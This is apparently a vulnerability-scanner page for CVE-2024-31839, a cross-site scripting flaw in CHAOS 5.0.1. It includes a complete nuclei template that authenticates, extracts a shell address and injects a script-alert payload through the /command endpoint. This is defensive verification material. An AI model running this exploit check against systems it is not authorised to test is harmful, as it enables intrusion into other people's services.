CHAOS 5.0.1 'sendCommandHandler' - Cross-Site Scripting

mediumseverity

4.8CVSS score

8.1%likelihood of exploitation, next 30 days

95%of all CVEs are less likely

Readycheck to confirm it

Cross Site Scripting vulnerability in tiagorlampert CHAOS v.5.0.1 allows a remote attacker to escalate privileges via the sendCommandHandler function in the handler.go component.

Impact

Attackers can inject malicious scripts that execute in users' browsers, potentially escalating privileges and compromising user sessions.

Fix

Update CHAOS to a version that patches the XSS vulnerability in the sendCommandHandler function.

How to confirm it

Send: POST /auth
Send: GET /
Send: POST /command
Positive when: status_code == 200 and contains(content_type, "text/plain") and contains(body, "<script>alert(document.domain)</script>")

Run it with nuclei: nuclei -id CVE-2024-31839 -u <target>

The full check

id: CVE-2024-31839

info:
  name: CHAOS 5.0.1 'sendCommandHandler' - Cross-Site Scripting
  author: riteshs4hu
  severity: medium
  description: |
    Cross Site Scripting vulnerability in tiagorlampert CHAOS v.5.0.1 allows a remote attacker to escalate privileges via the sendCommandHandler function in the handler.go component.
  impact: |
    Attackers can inject malicious scripts that execute in users' browsers, potentially escalating privileges and compromising user sessions.
  remediation: |
    Update CHAOS to a version that patches the XSS vulnerability in the sendCommandHandler function.
  reference:
    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/chaos_rat_xss_to_rce.rb
    - https://github.com/tiagorlampert/CHAOS
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 4.8
    cve-id: CVE-2024-31839
    cwe-id: CWE-79
    epss-score: 0.08104
    epss-percentile: 0.94869
    cpe: cpe:2.3:a:tiagorlampert:chaos:5.0.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: tiagorlampert
    product: chaos
  tags: cve,cve2024,chaos,tiagorlampert,xss,intrusive,vkev,vuln

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        POST /auth HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------7531776718188184812862255877

        -----------------------------7531776718188184812862255877
        Content-Disposition: form-data; name="username"

        {{username}}
        -----------------------------7531776718188184812862255877
        Content-Disposition: form-data; name="password"

        {{password}}
        -----------------------------7531776718188184812862255877--

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        name: address
        regex:
          - 'href="/shell\?address=([^"]+)"'
        group: 1
        internal: true

  - raw:
      - |
        POST /command HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=---------------------------424661958414611637671358243344

        -----------------------------424661958414611637671358243344
        Content-Disposition: form-data; name="address"

        {{url_decode(address)}}
        -----------------------------424661958414611637671358243344
        Content-Disposition: form-data; name="command"

        echo '<script>alert(document.domain)</script>'
        -----------------------------424661958414611637671358243344--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/plain")'
          - 'contains(body, "<script>alert(document.domain)</script>")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from